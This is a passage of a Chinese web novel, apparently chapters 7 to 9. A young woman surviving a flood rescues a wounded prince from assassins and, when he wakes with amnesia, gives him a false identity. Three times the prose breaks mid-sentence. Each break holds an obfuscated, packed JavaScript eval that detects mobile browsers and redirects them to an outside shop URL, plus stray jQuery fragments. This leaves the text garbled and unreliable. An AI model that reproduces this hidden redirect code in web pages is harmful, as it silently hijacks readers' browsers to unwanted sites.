墙角立着樟木箱子,山中潮湿,秋露还在箱子下面放了两块砖石,终于有个像样的小窝,这丫头激动到抹眼泪,沈竹念自然也开心,心情舒爽揣着一路背着的包袱放进箱子。
秋露见那包袱单薄的可怜,登时忿忿不平道,“都是侯府三姑娘总来打秋风,瞧见姑娘妆奁丰厚,好好一个闺秀千金,没脸没皮伸手讨要,姑娘若是不给,那三姑娘便冷嘲热讽,使唤丫头嬷嬷给咱们使绊子!”
“好了,侯府如今抄家流放,咱们能平安到现在,已是有福气,身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614738|206050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外之物罢了。”
沈竹念心境平和,估计侯府那一家子早在流放路上挨鞭子吃沙了,又何必为了不值当的人动怒伤身呢。
秋露想想此话甚是有理,觉得提起侯府那帮腌臜货脏了嘴,气势汹汹提着柴刀去砍后院的杂草。
忙到日头升到头顶,捡柴生火,喝了两碗稀粥,沈竹念猫在竹榻上休息,秋露倒是睡的四仰八叉,一觉醒来,神清气爽。
沈竹念吃了几日稀粥,嘴巴淡出鸟,要去寺庙周围找找,挖些野菜回来、加点盐巴蒸锅野菜团子解馋。
两人出了寺庙,山间未崩塌的小路仍是泥泞不堪,雨后的山野像被洗过一遍,举目四望。到处是鲜嫩的绿色,远处竹林里冒出不少笋。
竹笋味道鲜美,可惜吃了刮油,越吃身上越没油水。
虽是灾年,逃荒的难民爬不到这么高,能吃的野菜亦有不少,沈竹念尤爱吃荠菜跟马齿苋,荠菜正嫩,马齿苋绿,专挑着这两样挖。
秋露则来者不拒,灰灰菜、蒲公英、蕨菜有什么挖什么,她在乡下老家,三岁就跟着娘挖野菜、采蘑菇、摘果子,回家还能颤巍巍扛一小捆柴。
村里人都说秋露能干,没白吃家里粮。
娘也说露儿心疼娘,可是那年闹灾荒,家里活不下去了,第一个被卖掉的就是心疼娘的秋露。
秋露运道好,七岁跟着牙婆倒了两手,到了青州沈家,跟着姑娘一日三餐,餐餐山珍,穿缠枝花纹的罗裙。
姑娘心肠好,拿自己当亲姐妹,逃荒路上,有一口吃的便饿不着她。
只有跟着姑娘,她才像个人。
沈竹念挖了半篮子野菜,总觉得心里不安定,拎着篮子小心翼翼走到昨日塌方的地方,半山腰乱石堆叠,下面的山路已经完全被掩埋,坡面上散落着被连根拔起的树木以及从山上滚落的碎石。
她放了心,跟秋露在外面奔波半天,回去路上在一处小水洼旁挖了几丛野葱,俱都欢喜不已,回到寺庙忙活起来,荠菜菜团子蒸熟,咬一口,软嫩清香有嚼劲,因着加了猪油跟野葱,更添鲜味不腻。
铁锅里的粥咕嘟咕嘟冒着泡,米香混着野菜的清香,勾得人馋虫直冒。
秋露左手菜团子,右手米粥,咬一口团子,烫得嘶嘶哈哈,含糊道,“姑娘,就是这个味儿。”
从前在侯府花婆婆蒸的窝头也是这么香!
“慢点吃,别烫着。”
沈竹念莞尔,菜团子有些烫先放凉,端起一碗温热的野菜粥,热粥入喉,暖意从胃里蔓延到四肢百骸。
她长长舒了一口气,望着暮色中的远山,唇角微微弯起,当天夜里又下起了雨,往后数天,山下洪水滔滔,时有些木头、死鸡鸭漂浮而来,偶尔也会有几艘无人的空渔船飘来。
船上有物资,庙里存粮见底,为了活下去,沈竹念跟秋露将绳子绑在腰间,一头捆在树上,爬到船上搜存,有时候运气好,能找到串风干的辣椒或几条风干的咸鱼,更多的时候无功而返,瞎忙一场。
这日,细雨绵绵,洪水中又飘来一艘乌篷船,乌篷船船身刷着桐油,船头木桩上系着一盏熏黑的油灯,随着水势来回晃荡。
8. 第 8 章
细雨密密匝匝落在水面上,这几日为了口吃的,沈竹念跟秋露轮流望风,就盼着菩萨开眼,多送几艘补给船来。
晌午轮到秋露在外头望风,寺庙后院晒了几簸箕野菜,墙角移栽了一排野葱,蔫头耷脑的不知能不能活。
秋露粗心大意,下雨了也不记得收野菜。
沈竹念将野菜串起来挂在口上,刚蹲下掐了跟葱,秋露拎着柴刀跑回来,头发淋湿了还沾着雨丝,嘿嘿笑道,“姑娘,来活了!下头又来了条船,这船瞧着可比前头那些竹筏子有油水多了!”
“走,看看去!”
沈竹念此刻活像个十恶不赦土匪婆,拿着把菜刀揣着匕首在前面开路,秋露昂首挺胸跟在后面,走到半山腰那片被洪水浸泡过的缓坡。
沿途土路泥泞,沈竹念挑石头多的地方踩,走得近了,才看清那蒙蒙细雨中的乌篷船,这艘船船体大,棚顶高,船身泛着光,竹篾棚顶覆着油毡,瞧着跟江南水乡贩鱼的渔船并无二样,不过跟前面飘来的破草船相比,真是一个天一个地了。
沈竹念先往船上丢了个石子儿,乌篷船静悄悄,半点声音也无,只船身随着水势晃晃悠悠。
按照以往的经验,这船八成没人。
秋露心急,挑起边上老槐树下放着的绳索,一头绑在树干上,一头往腰上绕,“姑娘,你拽着绳子我去船上瞧瞧!”
沈竹念看她一眼没搭话,这丫头前日抢着往船上跳,一个没注意膝盖都磕乌青了,走路一瘸一拐。
“不行,这次我下去,你老实拽着绳子!”
秋露还要争辩,被沈竹念一个眼神堵了回去,乖乖闭嘴,那艘乌篷船漂得不远,大约离岸边还有两三丈的距离,但水流虽缓,水下情况却复杂。
沈竹念利索地将另一头绳子在腰间缠了三道,打了结紧了紧绳,小心翼翼踩着湿滑的泥坡往下走。
洪水里弥漫着股浓烈的腐臭味,令人作呕,沈竹念早有预备,戴上简易版粗布口罩,严严实实遮住鼻唇,忍住胃里翻涌的恶心,脚踩泥浆慢慢靠近那艘乌篷船。
沈竹念先伸手摸了摸船身,确认还算结实,才试着攀上去。脚刚踩上船板,船身不稳,船头木桩上的油灯也跟着晃。
乌篷船舱口挂着半截草帘子,雨丝打在脸上凉丝丝地,沈竹念屏住呼吸,鬼鬼祟祟靠过去用刀尖撩开草帘,一股潮湿的霉味扑面而来,船舱里光线昏暗,不过现在是白天,依旧能看清楚里面情况。
船舱里有一张矮桌,桌上是一套茶壶,跟锅碗瓢盆,旁边有几个鼓囊囊的麻袋,不知道里面装的是什么,还有两个黑乎乎陶罐,最喜人的是,船顶挂着一串串熏得油亮的腊肉,肉香扑鼻,看着就馋人。
沈竹念强忍住激动,再往里看,舱底铺着一层稻草,稻草上蜷着一条薄被,躺着个面色苍白的年轻男子,看着不过二十出头年纪,身量却极高,束袖绯衣,眉目昳丽,绯色的薄唇紧抿着,胸前血迹斑斑,生得过分好看了些。
活了两世的教训告诉她,路边的男人不要捡,貌美的更不能捡!
更何况乱世当道,谁知道这厮是什么杀人不眨眼的魔头,沈竹念脚下生风当即想溜,可实在舍不得那几串腊肉,咬了咬牙壮着胆子靠近,还没摸到腊肉,蓦地眼前阵风闪过,年轻男子突然醒了,一双手狠掐出了她的脖子。
箫承渊长睫微扬,一瞬不瞬地盯着她,静默的空气中,缓缓勾唇,挑眉道,“哪来的小贼,胆子不小。”
沈竹念喉头一紧,嗓子发不出半点声音了,窒息感袭来,求生欲爆棚下,摸索着抓起桌下的陶罐往萧承渊头上砸去。
萧承渊闷哼一声,又被对面一拳揍在脸上,这一拳沈竹念使足了力气,结结实实的砸在他清俊的黑眸上,只揍的他两眼金星,踉跄一下牵动了身上的旧伤,倒在稻草上。
沈竹念大口呼吸着新鲜空气,见萧承渊倒下,想气哼哼上前再揣上两脚。
忽而船舱四周弥漫开来一股诡异的异香,察觉不对的沈竹念心头一跳,迅速屏息戴好粗布口罩,暗暗从腰间拔出匕首,余光扫过在乌篷船四周,瞥见在水面上闪现的黑衣人,眼珠子咕噜几转,决定将计就计,她假装中香,软软摊在地上,闭眼装死。
一旁的萧承渊嗅到诡异异香,知晓追杀的刺客追来了,又见那滑头小子瘫软在地,定睛看了一眼,看沈竹念眼皮微动,知道这是在装晕。
萧承渊嘴角弯了弯,这小贼还有几分急智,突然却听水面传来轻响,他目光瞬间森寒,握紧了腰间的剑柄。
沈竹念被萧承渊笑的心里渗得慌,握紧了手里的匕首,想找个机会偷袭过去,没想到萧承渊脸色惨白,捂着胸口咳出血迹,居然两眼一闭也很“虚弱”地晕了过去。
当真是好演技。
沈竹念磨磨后牙槽,目光快速地看了一眼乌篷船不远处茂密的灌木丛,翠绿的叶子郁郁葱葱,忽然间灌木丛晃动了一下,忽有黑衣人影闪过,忙闭上眼装死。
躲在灌木丛中的数名黑衣人,原本共有二十名。
他们原本都是被精心挑选出来的一流杀手,是专门负责刺杀前朝皇太孙萧承渊的。
黑衣头领接到刺杀任务,原本对刺杀萧承渊一事胸有成竹,一个年轻竖子,杀之有何难,但是他没料到此子胸有丘壑,心机、计谋、武艺绝非常人所料。
这一路下来,不仅没有成功刺杀萧承渊,反而被萧承渊斩杀了十余名杀手。
如今他们一行人只存活下四人,可谓损失惨重。不过还在萧承渊的情况也好不到哪去,两天前,萧承渊在一次刺杀中跟侍卫走散,乘船逃走,如今萧承渊独自一人且深受重伤,身边无人保护还中了他的迷香,怕是回不过明天了。
思及此,黑衣头领的眼中闪过一丝快意。
不过黑衣头领杀伐多年,心思缜密,他眼见萧承渊和船舱中的农家小子、连带着老槐树下秋露,三人都中了迷香昏了过去,却没有一剑杀过去,他在灌木丛隐密处中守了片刻,眼见萧承渊是真的中了迷香不醒人事。
黑衣头领才对着身后的人做了个手势,几人得了信,小心翼翼起身顺着灌木丛出去,提剑潜伏进了乌篷船。
几名黑衣人悄无声息的落在了乌篷船中,只见萧承渊脸色惨白,两眼紧闭,唇角与衣襟上都染了血迹,一副了无生机的模样,怕是真的如他所想活不过明日了。
只是这个农家小子是从哪里冒出来的?
黑衣头领看向沈竹念,目光扫到她身上,待看清人长相时,却心头一震,心中掀起了惊涛骇浪。
“不,这不可能!”
黑衣头领面色如霜满脸不可置信,嘴角颤抖,喃喃出声。
“主上!”
身边的黑衣男子见黑衣头领状若癫狂,心中不解,忙开口唤道。
黑衣头领却没理会他的话语,只是癫狂大笑不止,随后拔剑出鞘,疾步上前看样子是想把沈竹念刺成血葫芦。
“哈哈哈,沈怀章,老夫杀你一次,亦能杀你第二次,二十年前没有杀了你,这次我就再送你下地狱!”
沈怀章是沈父兄长的名讳。
沈竹念心头一跳,不知道这黑衣人跟沈家有何过节,黑衣头领还未下手,刚才昏迷不醒的箫承渊掌风乍起,黑衣手领跌落在地上,抽搐几下,只觉喉咙腥甜,他捂胸咳了几声,猛地吐出一口鲜血。
“也罢,这么多年,我亦是生不如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614739|206050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死,当年我叛逃大燕,如今死在你手里,邵安亦算是不枉此生了!”
黑衣头领口含鲜血凄然叹喟。
箫承渊一双肃杀的冷眸更显浓重,看了眼黑衣头领,轻轻笑了声,而剩下的几个黑衣人见此,吓的脊背发凉,下意识的想要逃跑,数招之内皆殒命当场。
这几人惨叫着跌入洪水消失不见,紧接着黑衣头领又被一道凌厉的脚风踢中腹部,他踉跄飞出去几米,撞到船头,抽搐几下,猛地吐出一口黑血,缓缓开口:
“当年的事情,是我邵安对不住大燕,你要打要杀悉听尊便,为何要如此折辱老夫,要知道一句话,士可杀不可辱!有本事你就杀了我!”
“如此死太便宜你了,不如做成人皮灯笼挂在大燕皇陵日日赎罪好了。”
箫承渊嗓音轻飘飘的,尾调微微上扬,听上去无端有些阴森瘆人。
沈竹念听得直起鸡皮疙瘩,忙往后挪了两步,看来此人是前朝皇室后裔,不知道跟书中大反派是何关系。
难不成亡国皇族都如此变态,动不动便要将人剥皮拆骨。
黑衣头领脑中嗡嗡作响,他抬眸看向居高临下打望他的沈竹念,肤色瓷白,面带桃花,鸦羽色睫毛搭拢下来,丰姿潋滟的模样像极了那人。
这哪里是什么农家小子,明明是个女扮男装的闺阁女郎。
黑衣头领血条厚到可怕,不知想到什么额头青筋乍起,使出余力跳起一掌劈过来,沈竹念来不及反应,觉得小命就要交代了,箫承渊倏地伸长手臂,捉住她手腕,反手掷出一把长剑,长剑直接射穿了黑夜头领的胸膛。
血花四溅,这一剑仿佛耗尽了最后的气力,箫承渊头疼欲裂,眼尾血红,缓缓松开手,终因失血过多彻底倒地昏迷不醒。
黑衣头领尚有一口气在,见此仰天大笑三声,当年背叛大燕的何止是他,宫里的嬷嬷亦是居心叵测,居然给萧承渊下了千日醉。
千日醉能致人懵懂如痴儿,看样子萧承渊中毒已深,必是在幼年便已中毒。
不出数日,昔日的皇太孙昏睡数日,就会变成一个不通世事的愚騃?!
除非找到解药,否则萧承渊这辈子……
黑衣头领大笑而亡,沈竹念惊魂未定,蜷缩在船舱好一会儿才缓过来,箫承渊依旧处于昏迷状态,她犹豫了一下,还是上前两步,伸手探了探他的鼻息。
气息微弱,尚有生机。
刚才这人救了她的命,不管出于何种目的,沈竹念盯着人看了许久,终于下了决定:“也罢,既救了我便不能见死不救,是死是活看你造化了。”
一刻钟后,中了迷香的秋露悠悠转醒,黑衣头领的尸体早被丢到洪水里喂鱼,倒是乌篷船船舱里血迹一时无法清理,沈竹念三言两语编造了一套水匪放迷香害人,又被恩人所救的故事。
秋露听得脸色煞白,“水匪?姑娘你有没有受伤?恩人在哪?”
“我没事,恩人为了救我受了重伤。”沈竹念方才瞧过箫承渊的伤,胸口距离心脏一指头有暗红色的血迹,血肉翻飞,看样子是剑伤,还有另外几处刀伤。
想来这家伙也是命大,皮糙肉厚,逃了几天没昏迷。
她叹口气“我们得赶紧把人挪回寺庙医治。”
“好,我听过姑娘的。”
秋露答应一声,手脚麻利地把麻绳取来,沈竹念利索地穿过船头的铁环,借着绳子的力气,二人使出吃奶的劲儿将乌篷船一寸一寸地往岸边拉。
好不容易将船拖到淤泥处,两人都累得气喘吁吁。沈竹念顾不得歇,踩着没膝的水绕到船头,秋露跳上船,用船舱里的棉被把受伤昏迷的箫承渊裹粽子似裹紧,一步一蹬地抬回了寺庙。
9. 第 9 章
萧承渊看着像个弱鸡书生,实际上重得很,山间路陡峭还下着雨,沈竹念脚下打了几个趔趄,最后几步几乎是手脚并爬拖着他往上走。
秋露也好不到哪去,总算把人平安搬到正殿。
正殿前几日早打扫过了,墙角堆着的茅草厚厚铺成临时床铺。
沈竹念胳膊腿发酸,喘口气,蹲下身解开裹着箫承渊的薄被,被子已经被雨水浸透,掀开时带出一股浓重的血腥气。
秋露在旁看到,倒吸凉气道,“恩人血流这般多,咱们能治好吗?”
“尽人事听天命。”
“秋露,去灶房烧一锅滚烫的热水,还有把江宁镇采买的金疮药、止血散,还有其他药品通通拿过来。”
秋露应声去了,不多时抱着放药品的小包袱气喘吁吁跑出来。
沈竹念用剪刀小心地剪开箫承渊胸前的衣襟,这厮宽肩窄腰,隔着薄薄的衣料,人鱼线条分明,皮肤上纵横着几道旧伤疤痕,最骇人的还是胸口那处剑伤——伤口虽深却未伤及心脏。
伤口有些化脓,必须把脓血全部刮去。
秋露端着热水和白布跑回来,见沈竹念将匕首放在火上烧至通红,登时吓了一跳:“姑娘,你这是做什么?”
“止血挖脓,他伤口血止不住,高温化脓会没命的。”
秋露听说要用匕首刮脓,吓得都结巴了。
“滋”一声,烧热的匕首烫在胸前,昏迷中的箫承渊猛地绷紧了身体,额头青筋暴起,却没有醒过来。
沈竹念凑近观察,一刀一刀确定伤口腐脓都清理干净了,血也止住了,取出金疮药、白布,包扎好伤口,她不会打结,只得打了个歪扭蝴蝶结。
把匕首擦干净收好,沈竹念蹲的时间太久,刚一站起,差点栽倒。
秋露赶紧扶住她,心疼道:“姑娘,你歇会儿吧,恩人上了金疮药,应该没什么大碍了,晚上我守着。”
沈竹念心不在焉应了声,慢吞吞靠着墙坐下来,她累坏了,闭着眼休息了会儿,才有力气忙活。
萧承渊一睡就是数日,头两日发了高烧,死活喂不进去汤水,沈竹念寻了水洼处的芦苇管方灌下些许熬好的汤药。
第三日不烧了,能喝点清粥。
第四日清晨,天边压着厚厚的铅灰色云层,雨时下时不下。
午后出了太阳,沈竹念背上竹筐去寺外挖些清热解毒的鱼腥草,回来煮水喂给萧承渊。
路过后院,发现墙角那排野葱反倒精神了些。
秋露弯着腰坐在块石头,挑拣黍米里的小石子,她们早跟蝗虫过境般把乌篷船里有用的东西搬了个七七八八。
两个麻袋里装的是秫米和粗粮,墙角堆着些南瓜、芋头,几头大蒜。
最让两人高兴的是船顶那几串熏腊肉——足足有七八斤,熏得油亮,够她们吃上好一阵子。
就是秫米放置时间过长,里面还有石子,秋露闲说无事捡石子,几粒秫米滚落在地,她宝贝一样捡起来揣好。
秫米就是高粱米,吃起来口感过糙。
吃前要多泡了些时间,蒸出来口感稍稍软糯。
再不好吃也是粮食,是外头灾民老百姓求也求不来得一口吃食。
沈竹念出庙前,去了正殿一趟,箫承渊一日一换药,依旧昏睡着,额头不再滚烫,呼吸也更平稳了。
院西边塌了的半边院墙始终是一块心病。
沈竹念在琢磨着能不能找时间西边塌了的院墙修补一下。
虽然这荒山野岭的没什么人,但晚上风大,缺了半截墙,穿堂风呼呼地往殿里灌,冻得人睡不着,心里也不安。
寺庙正门是好的,再者万一山下有歹人摸上山,打又打不过,跑也跑不掉。
想想都头秃。
沈竹念抓抓脑袋,叹口气若是宁伯在,这半堵墙砌好了。
从前在青州老家,沈母治家严明,沈家也不是小门小户,四品将军府邸,单是丫鬟婆子就有十几人,镇上宅子里也有几个粗使婆子。
沈竹念十五岁前,沈父跟长子在边关,府里没有丫鬟只有小厮,府里的管家是沈父从羌族人手里救下来的宁盛,人称宁伯,他家婆子在府里当管家婆子。
夫妇俩昔日也是大户人家出来的,宁伯年轻做过泥瓦匠,念着主子的救命之恩,两口子尽心尽力打理府里的事物,府里每有一批丫鬟下人进来。
若有几个不成器的,宁伯见横竖调教不出来,又是惫懒不着调,也不会发卖出去。
而是安排到庄子上学手艺,同温和的宁伯相比,宁婶则雷厉风行,帮着沈母料理家务,井井有条。
沈家在城外有自家的几百亩水田跟鱼塘果园。
夏季到了鱼虾水果丰盛时节,庄子里的鱼虾跟一筐筐刚摘下的桃子、杏子、桑葚、梅子等水果接连不断地送到了县城。
除了自家吃,剩下的卖到城里的酒楼、铺子跟大户人家,样子好的拿来制成果脯,用油纸包了拿到铺子里卖,小小一包就卖六七文钱,这可是一本万利的买卖。
沈竹念实在怀念青州老家的生活,背着竹筐采了一把鱼腥草,又将认识的野菜都采了些,这次走得远了些,回来路上居然发现了两棵野柿子,枝头挂满了柿子,压得枝条都弯下来。
可惜的是现在柿子都是硬邦邦的,吃起来涩嘴,等到秋日提前摘下来放软,做成柿饼、脆柿,香甜得很。
因着这一惊喜发现,沈竹念脚步都轻松几分,回到院子里,秋露已经割了一大片草,正摊在地上晾晒。
骡子被解了绳子,在墙角啃青草,吃得直打响鼻,一副心满意足的模样。
“姑娘,你手里拿的啥?”秋露凑过来看。
“鱼腥草。”沈竹念蹲在井台边洗边道,“还有些野草,回头蒸窝头、煮粥都可口。”
秋露乐呵呵点头,跟着姑娘,到哪里都能过出烟火气。
忙活到天色彻底暗下来,沈竹念先给萧承渊换了药,喂了汤水,才在灶上煮了一锅稀粥,切了几片腊肉丢进去,香味飘了满院子。沈竹念喝了两碗,胃里暖融融的,精神也恢复了几分。
当晚,上半夜沈竹念看护萧承渊,秋露睡上几个时辰,再来换班。
沈竹念无事可做,又不能打瞌睡,低头看了一眼草铺上昏迷的萧承渊。
这厮睫毛长到过分,在眼下投下一小片扇形的阴影,薄唇微抿,即便昏迷着,眉宇间也带着一股凌厉逼人的冷意。
就在此时昏迷中的箫承渊睫毛颤动了几下,缓缓睁开了眼。
他盯了她好一会儿,像是在辨认她是谁。
沈竹念被他这眼神盯得心里发毛,下意识往后缩了缩。
两人面面相觑,最后还是萧承渊缓缓先开口,嗓音沙哑得几乎听不清:“你……是谁?”
沈竹念呆若木鸡。
她仔细打量他的神色,那双瞳黑漂亮眼眸里没有之前的凌厉杀气,也没有那种居高临下的审视,有的只是真真切切的迷茫,像是大梦初醒的人,对眼前的一切都感到陌生。
“你认不出我是谁?”沈竹念试探着问。
萧承渊盯着她看了许久,眉头越拧越紧,最后缓缓摇头,像是在努力回忆什么,却什么都想不起来。
“你是何人?”他又问了一句。
沈竹念这下彻底愣住了。
她张了张嘴,一时间竟不知道该怎么回答。
能说什么,说他俩一见面就采鸡互啄,差点同归于尽。
这话说出来,这人怕是当场就得把她掐死。
秋露打着哈欠过来换班,一眼看见沈竹念蹲在萧承渊面前,而那平日里瞧着就不好惹的恩人此刻正靠在墙角,满眼懵懂地看着她,竟有几分稚童模样。
“姑娘,恩人怎么了?”秋露凑过来小声问。
沈竹念站起来,把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614740|206050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秋露拉到一边,压低声音道:“好像是打斗过程中撞到了头,不记得以前的事了。”
秋露瞪大眼睛:“失忆了?”
“嘘——”沈竹念捂住她的嘴,回头看了一眼角落里的萧承渊。那人正低头看着自己胸口的伤,修长的手指小心翼翼地触碰了碰,动作里带着陌生与好奇,像是不明白这伤从何而来。
沈竹念眯了眯眼,脑子转得飞快。
失忆了?
这模样怎么看着傻了吧唧的。
她的目光扫过萧承渊那张过分好看的脸,又扫过他即便受伤也掩不住的挺拔身量,这人究竟是失忆了,还是另有所图?
如果真的是失忆了,看着也傻傻呆呆,那她岂不是想怎么编排就怎么编排?
沈竹念嘴角微微上扬,又迅速压了下去,换上一副关切的表情走回去,蹲在萧承渊面前,“铁牛你醒了?感觉怎么样?头疼不疼?”
萧承渊抬眼看她,长睫微颤,声音沙哑:“铁牛?”
“我名为铁牛?”
“是啊,”沈竹念一脸真诚,“你叫卫铁牛,是我家的远亲,前几日有匪人要害我们,是你舍身相救才保住了我跟秋露的小命。你被匪人打伤了头,受了重伤,躺了好几天,可把我们担心坏了。”
秋露在旁边目瞪口呆,姑娘胡说八道什么呢!
萧承渊眉头微蹙,像是在努力回想什么,但很快就被剧烈的头痛打断,他闷哼一声,抬手按住太阳穴,脸色又白了几分。
“想不起来就别想了,”沈竹念赶紧按住他的手,语气很是体贴,“你同歹徒搏斗中,伤了头,需要好好休养,等伤好了自然就记起来了。你且安心在这里养伤,有什么需要尽管跟我说。”
萧承渊沉默片刻,他后脑勺确实隐隐作痛,缓缓点了点头,声音低哑:“多谢。”
“不用这么客气。”沈竹念笑眯眯地摆手,“铁牛你救了我的命,我照顾你是应该的。”
萧承渊撑着前身气力靠在墙上,目光扫过这间破败的禅房,腐朽的门窗少了一半,角落里放着只接雨水的破罐子,身下一张破旧草席,缺了一条腿用石头垫着的供桌,最后目光落回沈竹念身上。
“我们……”他顿了顿,似乎在斟酌措辞,“一直栖息在此?”
“对啊,现在山下发了洪水,山体滑坡淹了下山的路,暂时下不去了,再者下山也极危险,山下现在怕是瘟疫横行,人人自危了。”
沈竹念将之前陶罐里煮好的菜粥放在火上温,荠菜腊肉洲咕嘟冒泡。
她递过去满满一碗,萧承渊接过碗,低头看了一眼,米饭浮着薄薄的油花,几块腊肉煮得软烂,但香气扑鼻。
他显然饿极了,端起碗大口喝了起来,喉结上下滚动,呼噜噜喝了一大口,喝得有些急,呛了一下,咳得伤口又渗出些血来。
“慢点慢点,”沈竹念赶紧给他拍背,“又没人跟你抢。”
萧承渊咳了一阵,抬起头来看她,眼底藏着不易察觉的依赖。
沈竹念瞥了一眼低头喝汤的萧承渊,那人正专心致志地对付碗里最后一块腊肉,吃得认真又专注,完全不像是在做戏。
秋露一脸震惊:“姑娘,你还真当自己是土匪婆了?”
沈竹念没理她,转身走回萧承渊面前,笑眯眯地说:“你伤得不轻,一时半会儿怕是走不了,这庙里虽然简陋,但好歹能遮风挡雨。只是……”
她故意顿了顿,面露难色。
萧承渊抬头看她,眼神清澈得像一泓泉水:“只是什么?”
“只是我们跟秋露都是弱女子,如今这世道不太平,外面到处都是流民匪寇,我们心里实在是害怕。”沈竹念说着又叹了口气,“铁牛你要是能留下,不但能养伤,还能帮我们看家护院,咱们互相扶持,以后日子。”
萧承渊没有犹豫,点头道:“好。”
干脆利落,没有半点迟疑。